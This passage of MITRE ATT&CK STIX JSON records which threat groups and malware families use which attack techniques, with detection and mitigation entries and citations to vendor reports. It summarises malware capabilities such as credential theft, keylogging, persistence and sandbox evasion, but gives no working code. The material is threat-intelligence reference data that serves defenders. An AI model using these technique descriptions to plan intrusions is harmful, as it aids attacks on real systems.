"source_name": "Flashpoint FIN 7 March 2019"}], "modified": "2020-03-28T21:27:24.610Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) malware has created scheduled tasks to establish persistence.(Citation: FireEye FIN7 April 2017)(Citation: Morphisec FIN7 June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1f7e10b8-f8ea-4731-af67-7201452d32be", "created": "2022-10-13T14:52:24.172Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T14:52:24.172Z", "description": "[PcShare](https://attack.mitre.org/software/S1050) can take screen shots of a compromised machine.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "tool--3a53b207-aba2-4a2b-9cdb-273d633669e7", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1f8132be-36d7-403e-a3e6-604db01ca3b8", "created": "2022-04-06T20:06:32.719Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) has been distributed as a malicious link within an email.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-15T19:27:33.183Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f82ca99-5acd-4a1a-a7ec-96d5cab8bec0", "type": "relationship", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.867Z", "description": "Monitor for changes to account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)", "source_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", "target_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "AdSecurity SID History Sept 2015", "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.", "url": "https://adsecurity.org/?p=1772"}, {"source_name": "Microsoft DsAddSidHistory", "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.", "url": "https://msdn.microsoft.com/library/ms677982.aspx"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f8572d0-007f-4efd-8caa-58ea88849cd1", "type": "relationship", "created": "2019-03-04T17:12:37.773Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Linux Rabbit 2018", "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat", "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}], "modified": "2019-07-26T20:18:44.960Z", "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) attempts to gain access to the server via SSH.(Citation: Anomali Linux Rabbit 2018)", "relationship_type": "uses", "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f8760c6-f11c-43f7-acf8-bc30a347518c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}], "modified": "2019-06-24T19:03:52.716Z", "description": "[Proton](https://attack.mitre.org/software/S0279) removes all files in the /tmp directory.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f888716-1e49-4d8d-b693-67c6eae8a775", "type": "relationship", "created": "2020-05-15T16:50:05.805Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Infoblox Lokibot January 2019", "url": "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22", "description": "Hoang, M. (2019, January 31). Malicious Activity Report: Elements of  Lokibot Infostealer. Retrieved May 15, 2020."}], "modified": "2020-05-18T13:42:53.799Z", "description": "[Lokibot](https://attack.mitre.org/software/S0447) has stolen credentials from multiple applications and data sources including Windows OS credentials, email clients, FTP, and SFTP clients.(Citation: Infoblox Lokibot January 2019)", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1f8be617-c842-4828-a352-9d5eafb8f477", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye Fin8 May 2016", "description": "Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:31:34.136Z", "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) is loaded and executed by a highly obfuscated launcher.(Citation: FireEye Fin8 May 2016)", "relationship_type": "uses", "source_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f972385-7f1c-4cbd-a071-951973e6d229", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}, {"source_name": "Securelist MiniDuke Feb 2013", "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.", "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf"}, {"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:07:59.075Z", "description": "Some [MiniDuke](https://attack.mitre.org/software/S0051) components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.(Citation: F-Secure The Dukes)(Citation: Securelist MiniDuke Feb 2013)(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f995d29-e7a6-4bf5-bbee-8783c31328f3", "type": "relationship", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.864Z", "description": "Monitor executed commands and arguments that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Wilted Tulip July 2017", "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"}, {"source_name": "CopyKittens Nov 2015", "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}], "modified": "2020-03-16T17:11:22.863Z", "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is capable of keylogging.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", "relationship_type": "uses", "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1fa0c726-0f55-4f10-8a31-184d760239c5", "type": "relationship", "created": "2019-09-24T14:19:05.147Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}], "modified": "2022-01-05T16:34:01.886Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) supports functionality for VNC sessions.(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1fa97951-8eba-4771-bc42-8084967f0c65", "created": "2020-05-15T18:52:17.468Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Red Canary Hospital Thwarted Ryuk October 2020", "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"}, {"source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a"}, {"source_name": "CrowdStrike Grim Spider May 2019", "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"}, {"source_name": "FireEye KEGTAP SINGLEMALT October 2020", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.646Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used WMI and LDAP queries for network discovery and to move laterally. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also used batch scripts to leverage WMIC to deploy ransomware.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1fadec32-a069-4103-bac1-1f61cf2e90e0", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Turla Mosquito Jan 2018", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}], "modified": "2020-03-20T01:55:34.999Z", "description": "[Mosquito](https://attack.mitre.org/software/S0256)'s launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.(Citation: ESET Turla Mosquito Jan 2018)", "relationship_type": "uses", "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1fb13108-14d6-498a-b474-c7fb71a3a586", "created": "2022-03-30T14:26:51.842Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g. unauthorized, gratuitous, or anomalous traffic patterns attempting to access internal and external websites and services). Consider correlating with application monitoring for indication of unplanned service interruptions or unauthorized content changes.", "modified": "2022-06-01T19:21:35.899Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1fb2a0f2-5d60-4b72-9d18-5d5d06d0c2fe", "type": "relationship", "created": "2021-07-30T21:03:09.016Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 Clop April 2021", "url": "https://unit42.paloaltonetworks.com/clop-ransomware/", "description": "Santos, D. (2021, April 13). Threat Assessment: Clop Ransomware. Retrieved July 30, 2021."}], "modified": "2021-10-14T20:22:47.026Z", "description": "[Clop](https://attack.mitre.org/software/S0611) has used the <code>sleep</code> command to avoid sandbox detection.(Citation: Unit42 Clop April 2021)", "relationship_type": "uses", "source_ref": "malware--cad3ba95-8c89-4146-ab10-08daa813f9de", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1fbc7b2a-1cdb-455b-bd5a-b0ff29efe800", "type": "relationship", "created": "2020-10-21T14:15:47.374Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant - Synful Knock", "url": "https://www.mandiant.com/resources/synful-knock-acis", "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."}, {"source_name": "Cisco Synful Knock Evolution", "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}], "modified": "2021-12-14T23:14:26.188Z", "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) is malware that is inserted into a network device by patching the operating system image.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution)", "relationship_type": "uses", "source_ref": "malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053", "target_ref": "attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1fbd56ed-e8fe-4601-b676-62e42370cbcc", "type": "relationship", "created": "2021-04-14T14:03:30.714Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point Rocket Kitten", "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018."}], "modified": "2021-04-14T14:03:30.714Z", "description": "[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used CWoolger and MPK, custom-developed malware, which recorded all keystrokes on an infected system.(Citation: Check Point Rocket Kitten)", "relationship_type": "uses", "source_ref": "intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1fbd687c-3e02-43b8-a160-4319a7d754ac", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint Leviathan Oct 2017", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}], "modified": "2019-09-16T18:01:16.154Z", "description": "[Orz](https://attack.mitre.org/software/S0229) can gather a process list from the victim.(Citation: Proofpoint Leviathan Oct 2017)", "relationship_type": "uses", "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1fbde0c8-1b00-40bf-8fef-11892d103d63", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}], "modified": "2020-03-17T02:07:10.818Z", "description": "[PinchDuke](https://attack.mitre.org/software/S0048) searches for files created within a certain timeframe and whose file extension matches a predefined list.(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197", "created": "2017-05-31T21:33:27.043Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Alperovitch 2014", "url": "https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/", "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) uses the Microsoft [Tasklist](https://attack.mitre.org/software/S0057) utility to list processes running on systems.(Citation: Alperovitch 2014)", "modified": "2022-07-20T20:10:29.594Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1fc9bf47-32e7-45e5-87f3-3e7a5efdd35d", "created": "2023-09-18T20:31:48.952Z", "revoked": false, "external_references": [{"source_name": "Cisco Operation Layover September 2021", "description": "Ventura, V. (2021, September 16). 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Retrieved October 3, 2019."}], "modified": "2020-06-25T18:41:35.200Z", "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to enumerate the users home directory and the path to its own application bundle.(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)", "relationship_type": "uses", "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1fea6d3f-b097-4e4e-b089-5abd6e2659e7", "created": "2023-04-11T03:23:27.865Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T03:23:27.865Z", "description": "Restrict Registry permissions to disallow the modification of sensitive Registry keys such as `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order`.", "relationship_type": "mitigates", "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1fec545d-436a-4b70-8ab8-87d217956b8f", "created": "2023-09-27T20:16:52.124Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T18:30:44.859Z", "description": "[NightClub](https://attack.mitre.org/software/S1090) can use SMTP and DNS for file exfiltration and C2.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1fedf226-02b4-4634-a7bf-4dac49bd97a3", "type": "relationship", "created": "2020-02-05T14:40:37.009Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Group123", "description": "Mercer, W., Rascagneres, P. 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Retrieved June 4, 2019."}], "modified": "2020-02-05T14:40:37.009Z", "description": "[APT37](https://attack.mitre.org/groups/G0067) uses steganography to send images to users that are embedded with shellcode.(Citation: Talos Group123)(Citation: Securelist ScarCruft May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1ff32fe1-7555-4582-879c-63cb6e78e4ba", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units -\u2013type=service \u2013all</code>. Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", "relationship_type": "detects", 